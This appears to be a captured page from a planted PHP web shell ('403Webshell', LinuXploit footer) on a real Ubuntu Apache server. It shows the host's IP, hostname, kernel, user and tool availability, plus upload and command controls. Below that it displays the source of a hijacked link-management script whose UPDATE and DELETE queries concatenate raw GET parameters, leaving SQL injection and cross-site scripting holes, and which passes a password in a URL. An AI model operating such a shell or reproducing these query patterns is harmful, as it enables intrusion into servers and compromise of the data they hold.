403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/ilink/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/ilink/link-upd.php
<!DOCTYPE html>
<!--
*********************************
 Project: Internet Link
 File   :  
 Version: 2021-01-13
 Author : M. Kukic
 Note   : PHP v5 + MySQL + Apache 
**********************************
-->
<html>

<style>
table, th, td {
    border: 1px solid black;
}
th, td {
    padding: 4px;
    text-align: center;
}
</style>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<link rel='shortcut icon' type='image/png' href='favicon.ico'/>
<title>ILink</title>
</head>
<body>

<?php
//
// Spoljasnji pozivi $st-> del, upd i ins
// unutrasni pozivi $ct->        up i in
//
//
$id=$_GET["id"];
$st=$_GET["st"];  

//$dt = $_GET["dt"];
$link = $_GET["link"];
//$n1 = $_GET["n1"];
//$n2 = $_GET["n2"];
//$n3 = $_GET["n3"];

$vot = $_GET["vot"];
$hid = $_GET["hid"];
$notes = $_GET["notes"];
$notem = $_GET["notem"];
$notel = $_GET["notel"];
$notev = $_GET["notev"];
//
include "config.php";
include "func.php";
//
$ok=" ##";
//
echo"<div style='width:".$resn."px; word-wrap:break-word;'>";
echo "<fieldset>";
echo "<legend><h3>iLink - Update</h3></legend>";
echo "<table border=\"0\">";
echo "</fieldset>";
//
// eksterni poziv za INSERT
if ($st=="ins"){
  	$vot = "0";
	$hid = "0";
	$ct="in";
	$ok=" ##";
}
// interni poziv za INSERT
if (($st=="in")or($st=="fl")){

	if ($link!=""){
	// izbacuje navodnike
	$notes = par_apo($notes);
	$notem = par_apo($notem);
	$notel = par_apo($notel);
	$notev = par_apo($notev);
	// skida prve blanko
	$notes = par_prv($notes);
	$notem = par_prv($notem);
	$notel = par_prv($notel);
	$notev = par_prv($notev);
	
	$link = par_prv($link);

	if ($st=="fl"){
		$link = "data/".$link;
	}
	
	//db
	$sql = "INSERT INTO $dbt (id,dt,link,n1,n2,n3,vot,hid,notes,notem,notel,notev) VALUES ('0',NOW(),'$link','0','0','0','$vot','$hid','$notes','$notem','$notel','$notev')"; 
if ($phpv==5){
	mysql_query($sql, $dbh) or die(mysql_error());
}else{
	mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
}		
	$sql = "SELECT * FROM $dbt ORDER BY id DESC";
if ($phpv==5){	
	$result = mysql_query($sql, $dbh) or die(mysql_error());
	$row = mysql_fetch_array($result);
}else{
	$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
	$row = mysqli_fetch_array($result);		
}	
	$eid=$row['id'];
	//db
	$akc="INS";
	$sql = "INSERT INTO event (eid,time,euser,edbp,id_link,id_akc) VALUES ('0',NOW(),'$u_ime','$u_dbp','$eid','$akc')";
if ($phpv==5){
	mysql_query($sql, $dbh) or die(mysql_error());
	mysql_close($dbh);
}else{
	mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
}
	$link="";
	$ok=" OK!";
}
	$ct="in";
}	
// eksterni poziv za UPDATE
if ($st=="upd"){
		$sql = "SELECT * FROM $dbt WHERE id=".$id;
	if ($phpv==5){	
		$result = mysql_query($sql, $dbh) or die(mysql_error());
        $row = mysql_fetch_array($result);
	}else{
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
        $row = mysqli_fetch_array($result);
	}
			$id=$row['id'];
			$dt=$row['dt'];
			$link=$row['link'];
			//$n1=$row['n1'];
			//$n2=$row['n2'];
			//$n3=$row['n3'];
			$vot=$row['vot'];
			$hid=$row['hid'];
			$notes=$row['notes'];
			$notem=$row['notem'];
			$notel=$row['notel'];
			$notev=$row['notev'];
			
			$ct="up";
			$ok=" ##";
}	
// interni poziv za UPDATE
if ($st=="up"){
	$sql = "UPDATE $dbt SET vot='".$vot."', hid='".$hid."', notes='".$notes."', notem='".$notem."', notel='".$notel."', notev='".$notev."' WHERE id='".$id."'";
	if ($phpv==5){
		mysql_query($sql, $dbh) or die(mysql_error());
	}else{
		mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
	}
	//
	$akc="UPD";
	$sql = "INSERT INTO event (eid,time,euser,edbp,id_link,id_akc) VALUES ('0',NOW(),'$u_ime','$u_dbp','$id','$akc')";
	if ($phpv==5){
		mysql_query($sql, $dbh) or die(mysql_error());
	}else{
		mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
	}
	$ct="up";	
	$ok=" OK!";
}
// eksterni poziv za DELETE
if ($st=="del"){
		$sql = "SELECT * FROM $dbt WHERE id=".$id;
	if ($phpv==5){	
		$result = mysql_query($sql, $dbh) or die(mysql_error());
        $row = mysql_fetch_array($result);
	}else{
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
        $row = mysqli_fetch_array($result);
	}
			$id=$row['id'];
			$dt=$row['dt'];
			$link=$row['link'];
			//$n1=$row['n1'];
			//$n2=$row['n2'];
			//$n3=$row['n3'];
			$vot=$row['vot'];
			$hid=$row['hid'];
			$notes=$row['notes'];
			$notem=$row['notem'];
			$notel=$row['notel'];
			$notev=$row['notev'];
			
			$ct="dl";
			$ok=" ##";
}
// interna potvrda za DELETE
if ($st=="dl"){
    $sql = "DELETE FROM $dbt WHERE id =".$id;
	if ($phpv==5){
		$result = mysql_query($sql, $dbh) or die(mysql_error());
	}else{
		$result = mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
	}
	$akc="DEL";
	$sql = "INSERT INTO event (eid,time,euser,edbp,id_link,id_akc) VALUES ('0',NOW(),'$u_ime','$u_dbp','$id','$akc')";
	if ($phpv==5){
		mysql_query($sql, $dbh) or die(mysql_error());
	}else{
		mysqli_query($dbh, $sql) or die(mysqli_error($dbh));
	}
		//$dt = 0;
		$link = "-";
		$vot = "0";
		$hid = "0";
		$notes = "-";
		$notem = "-";
		$notel = "-";
		$notev = "-";
		
		//$ct="dl";
		$ok=" OK!";
}
// Zatvaranje konekcije
if ($phpv==5){
	mysql_close($conn);		
}else{
	mysqli_close($conn);	
}
//
echo "<form action='link-upd.php'>";
echo "ID: <input type='text' name='id' id='id' value='$id' size='5'>";
echo "<br><br>";
echo "Link: <input type='text' name='link' id='link' value='$link' size='64'>";
echo "<br><br>";
//echo "N_1: <input type='text' name='n1' id='n1' value='$n1' size='5'> ";
//echo "N_2: <input type='text' name='n2' id='n2' value='$n2' size='5'> ";
//echo "N_3: <input type='text' name='n3' id='n3' value='$n3' size='5'>";
//echo "<br><br>";
echo "Vote: <input type='text' name='vot' id='vot' value='$vot' size='2'> ";
echo "Hide: <input type='text' name='hid' id='hid' value='$hid' size='2'>";
echo "<br><br>";
echo "Note_S: <input type='text' name='notes' id='notes' value='$notes' size='24'>";
echo "<br><br>";
echo "Note_M: <input type='text' name='notem' id='notem' value='$notem' size='36'>";
echo "<br><br>";
echo "Note_L: <input type='text' name='notel' id='notel' value='$notel' size='48'>";
echo "<br><br>";
echo "Note_V: <input type='text' name='notev' id='notev' value='$notev' size='72'>";
echo "<br><br>";
echo "St: <input type='text' name='st' id='st' value='$ct' size='1'>";
echo " ".$ok;
//echo "<br><br>";
echo str_repeat('&nbsp;', 12)."<input type='submit' value='Enter'>";
echo "</form>";

echo "<hr>";
echo "<a href='javascript:history.go(-1)'><img src='img/back.png'></a><a href='ident.php?txt=".$u_pass."'><img src='img/hom.png'></a>";

?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit